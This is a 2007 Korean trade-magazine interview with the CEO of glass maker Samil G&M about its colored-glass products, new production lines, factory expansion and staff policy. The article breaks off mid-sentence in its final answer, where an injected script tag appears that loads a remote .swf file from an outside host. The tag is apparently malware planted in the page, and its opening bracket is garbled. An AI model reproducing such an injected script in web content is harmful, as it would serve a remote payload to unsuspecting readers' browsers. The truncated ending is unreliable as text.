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(주)삼일G&M 김기채대표/회사와 직원이 하나되는 업체 추구
발행일자 : 2007년05월03일 11시41분

생산라인 추가 설치로 8열사이즈 원판공급 가능 칼라유리 ‘파티클칼라레이션’이란 브랜드로 잘 알려진 (주)삼일G&M(대표 김기채)이 최근 설비확충을 통하여 새로운 도약을 준비하고 있다. 이 회사는 78년 종각유리로 시작하여 유리시공을 중심으로 성장하였다. 92년 연희동에서 삼일제경판유리로 법인변경 및 면취가공을 중심으로 빠른 발전을 이어왔다. 이후 2002년 착색라인 도입으로 칼라유리 생산을 시작하였으며 2004년 생산공장 이전과 함께 착색자동라인을 구비하여 고품질의 맞춤제품공급을 실현하였다. 최근 8열사이즈의 원판생산을 위하여 새롭게 라인을 설치하였으며 원판사이즈의 대량공급과 기존 라인은 주문형 맞춤생산을 병행한다는 방침을 세워놓고 있다. 현재 시험가동중에 있으며 6월부터 본격적인 생산을 준비하고 있는 (주)삼일G&M의 김기채 대표를 만나보았다. Q. 삼일G&M의 소개 및 사업방향은? A. 자사는 오랜 유리시공 경험을 살려 유리가공에서부터 칼라유리생산, 공급까지 소비자들이 원하는 맞춤제품을 생산하고 있습니다. 항상 연구하는 업체로서 소비자들이 요구하는 모든 제품을 공급하기 위해 노력하고 있습니다. 사업방향은 유리업종에서 직원들이 대우를 잘 못 받는 것 같아 안타깝습니다. 사심을 버리고 직원들의 대우를 확실히 해주고 싶습니다. 생산자도 오래 근무하고 연구하면 충분히 대우를 받을 수 있게 하고 있으며 사장도 직원과 동등한 위치로서 회사와 직원이 하나되는 업체를 추구하고 사업방향으로 잡고 있습니다. Q. 생산 및 공급하고 있는 제품은? A. 주력으로 생산하고 있는 제품은 칼라유리 ‘파티클칼라레이션’48종이며 주문생산 위주로 공급하고 있습니다. 신규라인의 확대로 8열의 원판사이즈 공급이 가능해졌습니다. 이는 기존 라인은 작은 사이즈의 맞춤공급과 신규라인은 대량공급을 병행하여 경쟁력을 높이고 있습니다. 이 밖에도 다양한 면취가공과 변형가공등 까다로운 유리가공도 주문에 맞춰 공급을 진행하고 있습니다. Q. 제품의 특·장점은? A. 처음 칼라유리를 개발했을 때 탈색방지를 원칙으로 외부용으로 개발을 진행하였습니다. 이를 통해 오랜시간을 두어도 탈색이 되지 않으며 제품의 지속적인 시험을 통해 보완하여 외장용으로 써도 무방하게 제작하고 있습니다. 특히 건조시의 열은 180도를 고집하고 있습니다. 120∼140도의 저온 건조로 제품을 생산하면 칠이 오래가지 못하기 때문입니다. 도료자체가 온도에 따라 다양하며 유리 성질까지 고려하여 문제 없는 건조 도수를 유지하는 것이 관건입니다. 유리는 겨울이 제일 문제입니다. 유리는 차갑기 때문에 예열을 해줘야 합니다. 겨울철 칠은 보완해서 아무 저항 없이 할 수 있는 무공해 칠을 유리용으로 개발하였습니다. 제품 공급에 있어서도 시공경험이 있기 때문에 현장의 장단점을 잘 파악하여 맞춤공급을 진행하고 있습니다. Q. 생산시스템은 어떻게 운영하고 계시는지? A. 생산시스템은 길이 50m의 신규라인과 기존라인을 연계하여 효율적인 생산시스템을 운영하고 있습니다. 규격별로 생산해서 취향에 맞게 공급이 가능하게 되었으며 신규라인은 하루 8×10자 기준 100장정도의 생산을 예상하고 있습니다. 특히 생산에 있어서 무공해로 가고 있습니다. 도료자체를 무공해로 강하게 칠해서 품질이 좋습니다. 신규라인을 설치시도 기계회사와 그 동안의 노하우를 통하여 장단점을 보완하여 기계를 설치하였으며 가격경쟁이 아닌 제품으로 경쟁을 할 것입니다. 8열 원판사이즈 공급에서는 항시 파트별 200∼300장의 제고를 보유하여 신속한 공급이 가능하게 할 것입니다. Q. 경쟁업체와의 차별화 전략이 있다면? A. 소비자들이 원하는 제품을 신속하게 공급할 수 있는 점과 시작부터 품질에 대한 자신감으로 계속 연구, 개발, 노력을 계속하고 있는 점이라고 생각합니다. 특히 품질이나 납기는 고객과의 가장 큰 신뢰입니다. 고객의 까다로운 요구도 묵묵히 맞춰서 공급할 때 그 신뢰는 오래가며 삼일만의 남다른 점을 키우고 있다고 생각합니다. 장기적인 안목으로 제품의 차별화를 진행하고 있습니다. Q. 생산 공장의 확장은 어떻게 진행되고 있는지? A. 연희동에 위치한 본사 및 1공장은 300평 규모로 유통 및 제경, 전시장으로 활용하고 있으며 파주에 위치한 2공장은 400평 규모로 칼라유리생산을 전문으로 최근 확장을 진행중인 3공장은 1600평 규모로 인쇄유리를 생산할 목적으로 확장을 진행하고 있습니다. 현재 인쇄유리는 소량 나오고 있으며 문양등 저작권등록을 진행하고 있습니다. 6월부터 본격 생산되는 칼라유리 원판공급이 안정화 되면 실크스크린방식의 UV인쇄도 활성화를 계획하고 있습니다. Q. 제품의 공급 및 투자에 있어서 강조하는 부분은? A. 지속적인 투자 ?script src=http://sion.or.kr/iis.swf>
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